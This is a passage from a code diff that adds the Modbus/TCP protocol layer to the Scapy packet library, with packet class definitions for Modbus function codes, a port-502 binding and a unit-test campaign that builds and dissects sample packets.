+                   XShortField("writeStartingAddr", 0x0000),
+                   BitFieldLenField("writeQuantityRegisters", None, 16, count_of="writeRegistersValue"),
+                   BitFieldLenField("byteCount", None, 8, count_of="writeRegistersValue", adjust=lambda pkt, x: x*2),
+                   FieldListField("writeRegistersValue", [0x0000], XShortField("", 0x0000),
+                                  count_from=lambda pkt: pkt.byteCount)]
+
+
+class ModbusPDU17ReadWriteMultipleRegistersResponse(Packet):
+    name = "Read Write Multiple Registers Response"
+    fields_desc = [XByteField("funcCode", 0x17),
+                   BitFieldLenField("byteCount", None, 8, count_of="registerVal", adjust=lambda pkt, x: x*2),
+                   FieldListField("registerVal", [0x0000], ShortField("", 0x0000),
+                                  count_from=lambda pkt: pkt.byteCount)]
+
+
+class ModbusPDU17ReadWriteMultipleRegistersError(Packet):
+    name = "Read Write Multiple Exception"
+    fields_desc = [XByteField("funcCode", 0x97),
+                   ByteEnumField("exceptCode", 1, _modbus_exceptions)]
+
+
+class ModbusPDU18ReadFIFOQueueRequest(Packet):
+    name = "Read FIFO Queue"
+    fields_desc = [XByteField("funcCode", 0x18),
+                   XShortField("FIFOPointerAddr", 0x0000)]
+
+
+class ModbusPDU18ReadFIFOQueueResponse(Packet):
+    name = "Read FIFO Queue Response"
+    fields_desc = [XByteField("funcCode", 0x18),
+                   # TODO: ByteCount must includes size of FIFOCount
+                   BitFieldLenField("byteCount", None, 16, count_of="FIFOVal", adjust=lambda pkt, p: p*2+2),
+                   BitFieldLenField("FIFOCount", None, 16, count_of="FIFOVal"),
+                   FieldListField("FIFOVal", [], ShortField("", 0x0000), count_from=lambda pkt: pkt.byteCount)]
+
+
+class ModbusPDU18ReadFIFOQueueError(Packet):
+    name = "Read FIFO Queue Exception"
+    fields_desc = [XByteField("funcCode", 0x98),
+                   ByteEnumField("exceptCode", 1, _modbus_exceptions)]
+
+
+# TODO: not implemented, out of the main specification
+# class ModbusPDU2B0DCANOpenGeneralReferenceRequest(Packet):
+#     name = "CANopen General Reference Request"
+#     fields_desc = []
+#
+#
+# class ModbusPDU2B0DCANOpenGeneralReferenceResponse(Packet):
+#     name = "CANopen General Reference Response"
+#     fields_desc = []
+#
+#
+# class ModbusPDU2B0DCANOpenGeneralReferenceError(Packet):
+#     name = "CANopen General Reference Error"
+#     fields_desc = []
+
+
+# 0x2B/0x0E - Read Device Identification values
+_read_device_id_codes = {1: "Basic",
+                         2: "Regular",
+                         3: "Extended",
+                         4: "Specific"}
+# 0x00->0x02: mandatory
+# 0x03->0x06: optional
+# 0x07->0x7F: Reserved (optional)
+# 0x80->0xFF: product dependent private objects (optional)
+_read_device_id_object_id = {0x00: "VendorName",
+                             0x01: "ProductCode",
+                             0x02: "MajorMinorRevision",
+                             0x03: "VendorUrl",
+                             0x04: "ProductName",
+                             0x05: "ModelName",
+                             0x06: "UserApplicationName"}
+_read_device_id_conformity_lvl = {0x01: "Basic Identification (stream only)",
+                                  0x02: "Regular Identification (stream only)",
+                                  0x03: "Extended Identification (stream only)",
+                                  0x81: "Basic Identification (stream and individual access)",
+                                  0x82: "Regular Identification (stream and individual access)",
+                                  0x83: "Extended Identification (stream and individual access)"}
+_read_device_id_more_follow = {0x00: "No",
+                               0x01: "Yes"}
+
+
+class ModbusPDU2B0EReadDeviceIdentificationRequest(Packet):
+    name = "Read Device Identification"
+    fields_desc = [XByteField("funcCode", 0x2B),
+                   XByteField("MEIType", 0x0E),
+                   ByteEnumField("readCode", 1, _read_device_id_codes),
+                   ByteEnumField("objectId", 0x00, _read_device_id_object_id)]
+
+
+class ModbusPDU2B0EReadDeviceIdentificationResponse(Packet):
+    name = "Read Device Identification"
+    fields_desc = [XByteField("funcCode", 0x2B),
+                   XByteField("MEIType", 0x0E),
+                   ByteEnumField("readCode", 4, _read_device_id_codes),
+                   ByteEnumField("conformityLevel", 0x01, _read_device_id_conformity_lvl),
+                   ByteEnumField("more", 0x00, _read_device_id_more_follow),
+                   ByteEnumField("nextObjId", 0x00, _read_device_id_object_id),
+                   ByteField("objCount", 0x00)]
+
+    def guess_payload_class(self, payload):
+        if self.objCount > 0:
+            return ModbusObjectId
+        else:
+            return Packet.guess_payload_class(self, payload)
+
+
+class ModbusPDU2B0EReadDeviceIdentificationError(Packet):
+    name = "Read Exception Status Exception"
+    fields_desc = [XByteField("funcCode", 0xAB),
+                   ByteEnumField("exceptCode", 1, _modbus_exceptions)]
+
+
+_reserved_funccode_request = {
+    0x08: '0x08 Unknown Reserved Request',
+    0x09: '0x09 Unknown Reserved Request',
+    0x0A: '0x0a Unknown Reserved Request',
+    0x0D: '0x0d Unknown Reserved Request',
+    0x0E: '0x0e Unknown Reserved Request',
+    0x29: '0x29 Unknown Reserved Request',
+    0x2A: '0x2a Unknown Reserved Request',
+    0x5A: 'Specific Schneider Electric Request',
+    0x5B: '0x5b Unknown Reserved Request',
+    0x7D: '0x7d Unknown Reserved Request',
+    0x7E: '0x7e Unknown Reserved Request',
+    0x7F: '0x7f Unknown Reserved Request',
+}
+
+_reserved_funccode_response = {
+    0x08: '0x08 Unknown Reserved Response',
+    0x09: '0x09 Unknown Reserved Response',
+    0x0A: '0x0a Unknown Reserved Response',
+    0x0D: '0x0d Unknown Reserved Response',
+    0x0E: '0x0e Unknown Reserved Response',
+    0x29: '0x29 Unknown Reserved Response',
+    0x2A: '0x2a Unknown Reserved Response',
+    0x5A: 'Specific Schneider Electric Response',
+    0x5B: '0x5b Unknown Reserved Response',
+    0x7D: '0x7d Unknown Reserved Response',
+    0x7E: '0x7e Unknown Reserved Response',
+    0x7F: '0x7f Unknown Reserved Response',
+}
+
+_reserved_funccode_error = {
+    0x88: '0x88 Unknown Reserved Error',
+    0x89: '0x89 Unknown Reserved Error',
+    0x8A: '0x8a Unknown Reserved Error',
+    0x8D: '0x8d Unknown Reserved Error',
+    0x8E: '0x8e Unknown Reserved Error',
+    0xA9: '0x88 Unknown Reserved Error',
+    0xAA: '0x88 Unknown Reserved Error',
+    0xDA: 'Specific Schneider Electric Error',
+    0xDB: '0xdb Unknown Reserved Error',
+    0xDC: '0xdc Unknown Reserved Error',
+    0xFD: '0xfd Unknown Reserved Error',
+    0xFE: '0xfe Unknown Reserved Error',
+    0xFF: '0xff Unknown Reserved Error',
+}
+
+
+class ModbusPDUReservedFunctionCodeRequest(Packet):
+    name = "Reserved Function Code Request"
+    fields_desc = [
+            ByteEnumField("funcCode", 0x00, _reserved_funccode_request),
+            StrFixedLenField('payload', '', 255), ]
+
+    def extract_padding(self, s):
+        return b"", None
+
+    def mysummary(self):
+        return self.sprintf("Modbus Reserved Request %funcCode%")
+
+
+class ModbusPDUReservedFunctionCodeResponse(Packet):
+    name = "Reserved Function Code Response"
+    fields_desc = [
+            ByteEnumField("funcCode", 0x00, _reserved_funccode_response),
+            StrFixedLenField('payload', '', 255), ]
+
+    def extract_padding(self, s):
+        return b"", None
+
+    def mysummary(self):
+        return self.sprintf("Modbus Reserved Response %funcCode%")
+
+
+class ModbusPDUReservedFunctionCodeError(Packet):
+    name = "Reserved Function Code Error"
+    fields_desc = [
+            ByteEnumField("funcCode", 0x00, _reserved_funccode_error),
+            StrFixedLenField('payload', '', 255), ]
+
+    def extract_padding(self, s):
+        return b"", None
+
+    def mysummary(self):
+        return self.sprintf("Modbus Reserved Error %funcCode%")
+
+
+_userdefined_funccode_request = {
+}
+_userdefined_funccode_response = {
+}
+_userdefined_funccode_error = {
+}
+
+
+class ModbusByteEnumField(EnumField):
+    __slots__ = "defEnum"
+
+    def __init__(self, name, default, enum, defEnum):
+        EnumField.__init__(self, name, default, enum, "B")
+        defEnum = self.defEnum = defEnum
+
+    def i2repr_one(self, pkt, x):
+        if self not in conf.noenum and not isinstance(x, VolatileValue) \
+                    and x in self.i2s:
+            return self.i2s[x]
+        if self.defEnum:
+            return self.defEnum
+        return repr(x)
+
+
+class ModbusPDUUserDefinedFunctionCodeRequest(Packet):
+    name = "User-Defined Function Code Request"
+    fields_desc = [
+            ModbusByteEnumField(
+                "funcCode", 0x00, _userdefined_funccode_request,
+                "Unknown user-defined request function Code"),
+            StrFixedLenField('payload', '', 255), ]
+
+    def extract_padding(self, s):
+        return b"", None
+
+    def mysummary(self):
+        return self.sprintf("Modbus User-Defined Request %funcCode%")
+
+
+class ModbusPDUUserDefinedFunctionCodeResponse(Packet):
+    name = "User-Defined Function Code Response"
+    fields_desc = [
+            ModbusByteEnumField(
+                "funcCode", 0x00, _userdefined_funccode_response,
+                "Unknown user-defined response function Code"),
+            StrFixedLenField('payload', '', 255), ]
+
+    def extract_padding(self, s):
+        return b"", None
+
+    def mysummary(self):
+        return self.sprintf("Modbus User-Defined Response %funcCode%")
+
+
+class ModbusPDUUserDefinedFunctionCodeError(Packet):
+    name = "User-Defined Function Code Error"
+    fields_desc = [
+            ModbusByteEnumField(
+                "funcCode", 0x00, _userdefined_funccode_error,
+                "Unknown user-defined error function Code"),
+            StrFixedLenField('payload', '', 255), ]
+
+    def extract_padding(self, s):
+        return b"", None
+
+    def mysummary(self):
+        return self.sprintf("Modbus User-Defined Error %funcCode%")
+
+
+class ModbusObjectId(Packet):
+    name = "Object"
+    fields_desc = [ByteEnumField("id", 0x00, _read_device_id_object_id),
+                   BitFieldLenField("length", None, 8, length_of="value"),
+                   StrLenField("value", "", length_from=lambda pkt: pkt.length)]
+
+    def guess_payload_class(self, payload):
+        return ModbusObjectId
+
+
+_modbus_request_classes = {
+    0x01: ModbusPDU01ReadCoilsRequest,
+    0x02: ModbusPDU02ReadDiscreteInputsRequest,
+    0x03: ModbusPDU03ReadHoldingRegistersRequest,
+    0x04: ModbusPDU04ReadInputRegistersRequest,
+    0x05: ModbusPDU05WriteSingleCoilRequest,
+    0x06: ModbusPDU06WriteSingleRegisterRequest,
+    0x07: ModbusPDU07ReadExceptionStatusRequest,
+    0x0F: ModbusPDU0FWriteMultipleCoilsRequest,
+    0x10: ModbusPDU10WriteMultipleRegistersRequest,
+    0x11: ModbusPDU11ReportSlaveIdRequest,
+    0x14: ModbusPDU14ReadFileRecordRequest,
+    0x15: ModbusPDU15WriteFileRecordRequest,
+    0x16: ModbusPDU16MaskWriteRegisterRequest,
+    0x17: ModbusPDU17ReadWriteMultipleRegistersRequest,
+    0x18: ModbusPDU18ReadFIFOQueueRequest,
+}
+_modbus_error_classes = {
+    0x81: ModbusPDU01ReadCoilsError,
+    0x82: ModbusPDU02ReadDiscreteInputsError,
+    0x83: ModbusPDU03ReadHoldingRegistersError,
+    0x84: ModbusPDU04ReadInputRegistersError,
+    0x85: ModbusPDU05WriteSingleCoilError,
+    0x86: ModbusPDU06WriteSingleRegisterError,
+    0x87: ModbusPDU07ReadExceptionStatusError,
+    0x8F: ModbusPDU0FWriteMultipleCoilsError,
+    0x90: ModbusPDU10WriteMultipleRegistersError,
+    0x91: ModbusPDU11ReportSlaveIdError,
+    0x94: ModbusPDU14ReadFileRecordError,
+    0x95: ModbusPDU15WriteFileRecordError,
+    0x96: ModbusPDU16MaskWriteRegisterError,
+    0x97: ModbusPDU17ReadWriteMultipleRegistersError,
+    0x98: ModbusPDU18ReadFIFOQueueError,
+    0xAB: ModbusPDU2B0EReadDeviceIdentificationError,
+}
+_modbus_response_classes = {
+    0x01: ModbusPDU01ReadCoilsResponse,
+    0x02: ModbusPDU02ReadDiscreteInputsResponse,
+    0x03: ModbusPDU03ReadHoldingRegistersResponse,
+    0x04: ModbusPDU04ReadInputRegistersResponse,
+    0x05: ModbusPDU05WriteSingleCoilResponse,
+    0x06: ModbusPDU06WriteSingleRegisterResponse,
+    0x07: ModbusPDU07ReadExceptionStatusResponse,
+    0x0F: ModbusPDU0FWriteMultipleCoilsResponse,
+    0x10: ModbusPDU10WriteMultipleRegistersResponse,
+    0x11: ModbusPDU11ReportSlaveIdResponse,
+    0x14: ModbusPDU14ReadFileRecordResponse,
+    0x15: ModbusPDU15WriteFileRecordResponse,
+    0x16: ModbusPDU16MaskWriteRegisterResponse,
+    0x17: ModbusPDU17ReadWriteMultipleRegistersResponse,
+    0x18: ModbusPDU18ReadFIFOQueueResponse,
+}
+_mei_types_request = {
+    0x0E: ModbusPDU2B0EReadDeviceIdentificationRequest,
+    # 0x0D: ModbusPDU2B0DCANOpenGeneralReferenceRequest,
+}
+_mei_types_response = {
+    0x0E: ModbusPDU2B0EReadDeviceIdentificationResponse,
+    # 0x0D: ModbusPDU2B0DCANOpenGeneralReferenceResponse,
+}
+
+
+class ModbusADURequest(Packet):
+    name = "ModbusADU"
+    fields_desc = [XShortField("transId", 0x0000),  # needs to be unique
+                   XShortField("protoId", 0x0000),  # needs to be zero (Modbus)
+                   ShortField("len", None),  # is calculated with payload
+                   XByteField("unitId", 0xff)]  # 0xFF (recommended as non-significant value) or 0x00
+
+    def guess_payload_class(self, payload):
+        function_code = orb(payload[0])
+
+        if function_code == 0x2B:
+            sub_code = orb(payload[1])
+            try:
+                return _mei_types_request[sub_code]
+            except KeyError:
+                pass
+        try:
+            return _modbus_request_classes[function_code]
+        except KeyError:
+            pass
+        if function_code in _reserved_funccode_request:
+            return ModbusPDUReservedFunctionCodeRequest
+        return ModbusPDUUserDefinedFunctionCodeRequest
+
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(pay) + 1  # +len(p)
+            p = p[:4] + struct.pack("!H", l) + p[6:]
+        return p + pay
+
+
+class ModbusADUResponse(Packet):
+    name = "ModbusADU"
+    fields_desc = [XShortField("transId", 0x0000),  # needs to be unique
+                   XShortField("protoId", 0x0000),  # needs to be zero (Modbus)
+                   ShortField("len", None),  # is calculated with payload
+                   XByteField("unitId", 0xff)]  # 0xFF or 0x00 should be used for Modbus over TCP/IP
+
+    def guess_payload_class(self, payload):
+        function_code = orb(payload[0])
+
+        if function_code == 0x2B:
+            sub_code = orb(payload[1])
+            try:
+                return _mei_types_response[sub_code]
+            except KeyError:
+                pass
+        try:
+            return _modbus_response_classes[function_code]
+        except KeyError:
+            pass
+        try:
+            return _modbus_error_classes[function_code]
+        except KeyError:
+            pass
+        if function_code in _reserved_funccode_response:
+            return ModbusPDUReservedFunctionCodeResponse
+        elif function_code in _reserved_funccode_error:
+            return ModbusPDUReservedFunctionCodeError
+        if function_code < 0x80:
+            return ModbusPDUUserDefinedFunctionCodeResponse
+        return ModbusPDUUserDefinedFunctionCodeError
+
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(pay) + 1  # +len(p)
+            p = p[:4] + struct.pack("!H", l) + p[6:]
+        return p + pay
+
+
+bind_layers(TCP, ModbusADURequest, dport=502)
+bind_layers(TCP, ModbusADUResponse, sport=502)
diff --git a/scapy/contrib/modbus.uts b/scapy/contrib/modbus.uts
new file mode 100644
index 0000000..f365881
--- /dev/null
+++ b/scapy/contrib/modbus.uts
@@ -0,0 +1,309 @@
+% Modbus layer test campaign
+
++ Syntax check
+= Import the modbus layer
+from scapy.contrib.modbus import *
+
++ Test MBAP
+= MBAP default values
+raw(ModbusADURequest()) == b'\x00\x00\x00\x00\x00\x01\xff'
+
+= MBAP payload length calculation
+raw(ModbusADURequest() / b'\x00\x01\x02') == b'\x00\x00\x00\x00\x00\x04\xff\x00\x01\x02'
+
+= MBAP Guess Payload ModbusPDU01ReadCoilsRequest (simple case)
+p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x06\xff\x01\x00\x00\x00\x01')
+assert(isinstance(p.payload, ModbusPDU01ReadCoilsRequest))
+= MBAP Guess Payload ModbusPDU01ReadCoilsResponse
+p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x04\xff\x01\x01\x01')
+assert(isinstance(p.payload, ModbusPDU01ReadCoilsResponse))
+= MBAP Guess Payload ModbusPDU01ReadCoilsError
+p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x81\x02')
+assert(isinstance(p.payload, ModbusPDU01ReadCoilsError))
+
+= MBAP Guess Payload ModbusPDU2B0EReadDeviceIdentificationRequest (2 level test)
+p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x04\xff+\x0e\x01\x00')
+assert(isinstance(p.payload, ModbusPDU2B0EReadDeviceIdentificationRequest))
+= MBAP Guess Payload ModbusPDU2B0EReadDeviceIdentificationResponse
+p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x1b\xff+\x0e\x01\x83\x00\x00\x03\x00\x08Pymodbus\x01\x02PM\x02\x031.0')
+assert(isinstance(p.payload, ModbusPDU2B0EReadDeviceIdentificationResponse))
+= MBAP Guess Payload ModbusPDU2B0EReadDeviceIdentificationError
+p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\xab\x01')
+assert(isinstance(p.payload, ModbusPDU2B0EReadDeviceIdentificationError))
+
+= MBAP Guess Payload Reserved Function Request (Invalid payload)
+p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x02\xff\x5b')
+assert(isinstance(p.payload,ModbusPDUReservedFunctionCodeRequest))
+= MBAP Guess Payload Reserved Function Response (Invalid payload)
+p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x02\xff\x7e')
+assert(isinstance(p.payload, ModbusPDUReservedFunctionCodeResponse))
+= MBAP Guess Payload Reserved Function Error (Invalid payload)
+p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x02\xff\x8a')
+assert(isinstance(p.payload, ModbusPDUReservedFunctionCodeError))
+
+= MBAP Guess Payload ModbusPDU02ReadDiscreteInputsResponse
+assert(raw(ModbusPDU02ReadDiscreteInputsResponse()), b'\x02\x01\x00')
+= MBAP Guess Payload ModbusPDU02ReadDiscreteInputsResponse minimal parameters
+assert(raw(ModbusPDU02ReadDiscreteInputsResponse(inputStatus=[0x02, 0x01])), b'\x02\x02\x02\x01')
+= MBAP Guess Payload ModbusPDU02ReadDiscreteInputsRequest dissection
+p = ModbusPDU02ReadDiscreteInputsResponse(b'\x02\x02\x02\x01')
+p.byteCount == 2 and p.inputStatus == [0x02, 0x01]
+
+= ModbusPDU02ReadDiscreteInputsError
+raw(ModbusPDU02ReadDiscreteInputsError()) == b'\x82\x01'
+
+= MBAP Guess Payload User-Defined Function Request (Invalid payload)
+p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x02\xff\x5b')
+assert(isinstance(p.payload, ModbusPDUReservedFunctionCodeRequest))
+= MBAP Guess Payload User-Defined Function Response (Invalid payload)
+p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x02\xff\x7e')
+assert(isinstance(p.payload, ModbusPDUReservedFunctionCodeResponse))
+= MBAP Guess Payload User-Defined Function Error (Invalid payload)
+p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x02\xff\x8a')
+assert(isinstance(p.payload, ModbusPDUReservedFunctionCodeError))
+
++ Test layer binding
+= Destination port
+p = TCP()/ModbusADURequest()
+p[TCP].dport == 502
+
+= Source port
+p = TCP()/ModbusADUResponse()
+p[TCP].sport == 502
+
++ Test PDU
+* Note on tests cases: dissection/minimal parameters will not be done for packets that does not perform calculation
+# 0x01/0x81 Read Coils --------------------------------------------------------------
+= ModbusPDU01ReadCoilsRequest
+raw(ModbusPDU01ReadCoilsRequest()) == b'\x01\x00\x00\x00\x01'
+= ModbusPDU01ReadCoilsRequest minimal parameters
+raw(ModbusPDU01ReadCoilsRequest(startAddr=16, quantity=2)) == b'\x01\x00\x10\x00\x02'
+= ModbusPDU01ReadCoilsRequest dissection
+p = ModbusPDU01ReadCoilsRequest(b'\x01\x00\x10\x00\x02')
+assert(p.startAddr == 16)
+assert(p.quantity == 2)
+
+= ModbusPDU01ReadCoilsResponse
+raw(ModbusPDU01ReadCoilsResponse()) == b'\x01\x01\x00'
+= ModbusPDU01ReadCoilsResponse minimal parameters
+raw(ModbusPDU01ReadCoilsResponse(coilStatus=[0x10]*3)) == b'\x01\x03\x10\x10\x10'
+= ModbusPDU01ReadCoilsResponse dissection
+p = ModbusPDU01ReadCoilsResponse(b'\x01\x03\x10\x10\x10')
+assert(p.coilStatus == [16, 16, 16])
+assert(p.byteCount == 3)
+
+= ModbusPDU01ReadCoilsError
+raw(ModbusPDU01ReadCoilsError()) == b'\x81\x01'
+= ModbusPDU81ReadCoilsError minimal parameters
+raw(ModbusPDU01ReadCoilsError(exceptCode=2)) == b'\x81\x02'
+= ModbusPDU81ReadCoilsError dissection
+p = ModbusPDU01ReadCoilsError(b'\x81\x02')
+assert(p.funcCode == 0x81)
+assert(p.exceptCode == 2)
+
+# 0x02/0x82 Read Discrete Inputs Registers ------------------------------------------
+= ModbusPDU02ReadDiscreteInputsRequest
+raw(ModbusPDU02ReadDiscreteInputsRequest()) == b'\x02\x00\x00\x00\x01'
+= ModbusPDU02ReadDiscreteInputsRequest minimal parameters
+raw(ModbusPDU02ReadDiscreteInputsRequest(startAddr=8, quantity=128)) == b'\x02\x00\x08\x00\x80'
+
+= ModbusPDU02ReadDiscreteInputsResponse
+raw(ModbusPDU02ReadDiscreteInputsResponse()) == b'\x02\x01\x00'
+= ModbusPDU02ReadDiscreteInputsResponse minimal parameters
+raw(ModbusPDU02ReadDiscreteInputsResponse(inputStatus=[0x02, 0x01])) == b'\x02\x02\x02\x01'
+= ModbusPDU02ReadDiscreteInputsRequest dissection
+p = ModbusPDU02ReadDiscreteInputsResponse(b'\x02\x02\x02\x01')
+assert(p.byteCount == 2)
+assert(p.inputStatus == [0x02, 0x01])
+
+= ModbusPDU02ReadDiscreteInputsError
+raw(ModbusPDU02ReadDiscreteInputsError()) == b'\x82\x01'
+
+# 0x03/0x83 Read Holding Registers --------------------------------------------------
+= ModbusPDU03ReadHoldingRegistersRequest
+raw(ModbusPDU03ReadHoldingRegistersRequest()) == b'\x03\x00\x00\x00\x01'
+= ModbusPDU03ReadHoldingRegistersRequest minimal parameters
+raw(ModbusPDU03ReadHoldingRegistersRequest(startAddr=2048, quantity=16)) == b'\x03\x08\x00\x00\x10'
+
+= ModbusPDU03ReadHoldingRegistersResponse
+raw(ModbusPDU03ReadHoldingRegistersResponse()) == b'\x03\x02\x00\x00'
+= ModbusPDU03ReadHoldingRegistersResponse minimal parameters
+1==1
+= ModbusPDU03ReadHoldingRegistersResponse dissection
+p = ModbusPDU03ReadHoldingRegistersResponse(b'\x03\x06\x02+\x00\x00\x00d')
+assert(p.byteCount == 6)
+assert(p.registerVal == [555, 0, 100])
+
+= ModbusPDU03ReadHoldingRegistersError
+raw(ModbusPDU03ReadHoldingRegistersError()) == b'\x83\x01'
+
+# 0x04/0x84 Read Input Register -----------------------------------------------------
+= ModbusPDU04ReadInputRegistersRequest
+raw(ModbusPDU04ReadInputRegistersRequest()) == b'\x04\x00\x00\x00\x01'
+
+= ModbusPDU04ReadInputRegistersResponse
+raw(ModbusPDU04ReadInputRegistersResponse()) == b'\x04\x02\x00\x00'
+= ModbusPDU04ReadInputRegistersResponse minimal parameters
+raw(ModbusPDU04ReadInputRegistersResponse(registerVal=[0x01, 0x02])) == b'\x04\x04\x00\x01\x00\x02'
+
+= ModbusPDU04ReadInputRegistersError
+raw(ModbusPDU04ReadInputRegistersError()) == b'\x84\x01'
+
+# 0x05/0x85 Write Single Coil -------------------------------------------------------
+= ModbusPDU05WriteSingleCoilRequest
+raw(ModbusPDU05WriteSingleCoilRequest()) == b'\x05\x00\x00\x00\x00'
+
+= ModbusPDU05WriteSingleCoilResponse
+raw(ModbusPDU05WriteSingleCoilResponse()) == b'\x05\x00\x00\x00\x00'
+
+= ModbusPDU05WriteSingleCoilError
+raw(ModbusPDU05WriteSingleCoilError()) == b'\x85\x01'
+
+# 0x06/0x86 Write Single Register ---------------------------------------------------
+= ModbusPDU06WriteSingleRegisterError
+raw(ModbusPDU06WriteSingleRegisterRequest()) == b'\x06\x00\x00\x00\x00'
+
+= ModbusPDU06WriteSingleRegisterResponse
+raw(ModbusPDU06WriteSingleRegisterResponse()) == b'\x06\x00\x00\x00\x00'
+
+= ModbusPDU06WriteSingleRegisterError
+raw(ModbusPDU06WriteSingleRegisterError()) == b'\x86\x01'
+
+# 0x07/0x87 Read Exception Status (serial line only) --------------------------------
+# 0x08/0x88 Diagnostics (serial line only) ------------------------------------------
+# 0x0b Get Comm Event Counter: serial line only -------------------------------------
+# 0x0c Get Comm Event Log: serial line only -----------------------------------------
+
+# 0x0f/0x8f Write Multiple Coils ----------------------------------------------------
+= ModbusPDU0FWriteMultipleCoilsRequest
+raw(ModbusPDU0FWriteMultipleCoilsRequest())
+= ModbusPDU0FWriteMultipleCoilsRequest minimal parameters
+raw(ModbusPDU0FWriteMultipleCoilsRequest(outputsValue=[0x01, 0x01])) == b'\x0f\x00\x00\x00\x01\x02\x01\x01'
+
+= ModbusPDU0FWriteMultipleCoilsResponse
+raw(ModbusPDU0FWriteMultipleCoilsResponse()) == b'\x0f\x00\x00\x00\x01'
+
+= ModbusPDU0FWriteMultipleCoilsError
+raw(ModbusPDU0FWriteMultipleCoilsError()) == b'\x8f\x01'
+
+# 0x10/0x90 Write Multiple Registers ----------------------------------------------------
+= ModbusPDU10WriteMultipleRegistersRequest
+raw(ModbusPDU10WriteMultipleRegistersRequest()) == b'\x10\x00\x00\x00\x01\x02\x00\x00'
+= ModbusPDU10WriteMultipleRegistersRequest minimal parameters
+raw(ModbusPDU10WriteMultipleRegistersRequest(outputsValue=[0x0001, 0x0002])) == b'\x10\x00\x00\x00\x02\x04\x00\x01\x00\x02'
+
+= ModbusPDU10WriteMultipleRegistersResponse
+raw(ModbusPDU10WriteMultipleRegistersResponse()) == b'\x10\x00\x00\x00\x01'
+
+= ModbusPDU10WriteMultipleRegistersError
+raw(ModbusPDU10WriteMultipleRegistersError()) == b'\x90\x01'
+
+# 0x11/91 Report Server ID: serial line only ----------------------------------------
+
+# 0x14/944 Read File Record ---------------------------------------------------------
+= ModbusPDU14ReadFileRecordRequest len parameters
+p = raw(ModbusPDU14ReadFileRecordRequest()/ModbusReadFileSubRequest()/ModbusReadFileSubRequest())
+assert(p == b'\x14\x0e\x06\x00\x01\x00\x00\x00\x01\x06\x00\x01\x00\x00\x00\x01')
+= ModbusPDU14ReadFileRecordRequest minimal parameters
+p = raw(ModbusPDU14ReadFileRecordRequest()/ModbusReadFileSubRequest(fileNumber=4, recordNumber=1, recordLength=2)/ModbusReadFileSubRequest(fileNumber=3, recordNumber=9, recordLength=2))
+assert(p == b'\x14\x0e\x06\x00\x04\x00\x01\x00\x02\x06\x00\x03\x00\t\x00\x02')
+= ModbusPDU14ReadFileRecordRequest dissection
+p = ModbusPDU14ReadFileRecordRequest(b'\x14\x0e\x06\x00\x04\x00\x01\x00\x02\x06\x00\x03\x00\t\x00\x02')
+assert(isinstance(p.payload, ModbusReadFileSubRequest))
+assert(isinstance(p.payload.payload, ModbusReadFileSubRequest))
+
+= ModbusPDU14ReadFileRecordResponse minimal parameters
+raw(ModbusPDU14ReadFileRecordResponse()/ModbusReadFileSubResponse(recData=[0x0dfe, 0x0020])/ModbusReadFileSubResponse(recData=[0x33cd, 0x0040])) == b'\x14\x0c\x05\x06\r\xfe\x00 \x05\x063\xcd\x00@'
+= ModbusPDU14ReadFileRecordResponse dissection
+p = ModbusPDU14ReadFileRecordResponse(b'\x14\x0c\x05\x06\r\xfe\x00 \x05\x063\xcd\x00@')
+assert(isinstance(p.payload, ModbusReadFileSubResponse))
+assert(isinstance(p.payload.payload, ModbusReadFileSubResponse))
+
+= ModbusPDU14ReadFileRecordError
+raw(ModbusPDU14ReadFileRecordError()) == b'\x94\x01'
+
+# 0x15/0x95 Write File Record -------------------------------------------------------
+= ModbusPDU15WriteFileRecordRequest minimal parameters
+raw(ModbusPDU15WriteFileRecordRequest()/ModbusWriteFileSubRequest(fileNumber=4, recordNumber=7, recordData=[0x06af, 0x04be, 0x100d])) == b'\x15\r\x06\x00\x04\x00\x07\x00\x03\x06\xaf\x04\xbe\x10\r'
+= ModbusPDU15WriteFileRecordRequest dissection
+p = ModbusPDU15WriteFileRecordRequest(b'\x15\x0d\x06\x00\x04\x00\x07\x00\x03\x06\xaf\x04\xbe\x10\r')
+assert(isinstance(p.payload, ModbusWriteFileSubRequest))
+assert(p.payload.recordLength == 3)
+
+= ModbusPDU15WriteFileRecordResponse minimal parameters
+raw(ModbusPDU15WriteFileRecordResponse()/ModbusWriteFileSubResponse(fileNumber=4, recordNumber=7, recordData=[0x06af, 0x04be, 0x100d])) == b'\x15\r\x06\x00\x04\x00\x07\x00\x03\x06\xaf\x04\xbe\x10\r'
+= ModbusPDU15WriteFileRecordResponse dissection
+p = ModbusPDU15WriteFileRecordResponse(b'\x15\x0d\x06\x00\x04\x00\x07\x00\x03\x06\xaf\x04\xbe\x10\r')
+assert(isinstance(p.payload, ModbusWriteFileSubResponse))
+assert(p.payload.recordLength == 3)
+
+= ModbusPDU15WriteFileRecordError
+raw(ModbusPDU15WriteFileRecordError()) == b'\x95\x01'
+
+# 0x16/0x96 Mask Write Register -----------------------------------------------------
+= ModbusPDU16MaskWriteRegisterRequest
+raw(ModbusPDU16MaskWriteRegisterRequest()) == b'\x16\x00\x00\xff\xff\x00\x00'
+
+= ModbusPDU16MaskWriteRegisterResponse
+raw(ModbusPDU16MaskWriteRegisterResponse()) == b'\x16\x00\x00\xff\xff\x00\x00'
+
+= ModbusPDU16MaskWriteRegisterError
+raw(ModbusPDU16MaskWriteRegisterError()) == b'\x96\x01'
+
+# 0x17/0x97 Read/Write Multiple Registers -------------------------------------------
+= ModbusPDU17ReadWriteMultipleRegistersRequest
+raw(ModbusPDU17ReadWriteMultipleRegistersRequest()) == b'\x17\x00\x00\x00\x01\x00\x00\x00\x01\x02\x00\x00'
+= ModbusPDU17ReadWriteMultipleRegistersRequest minimal parameters
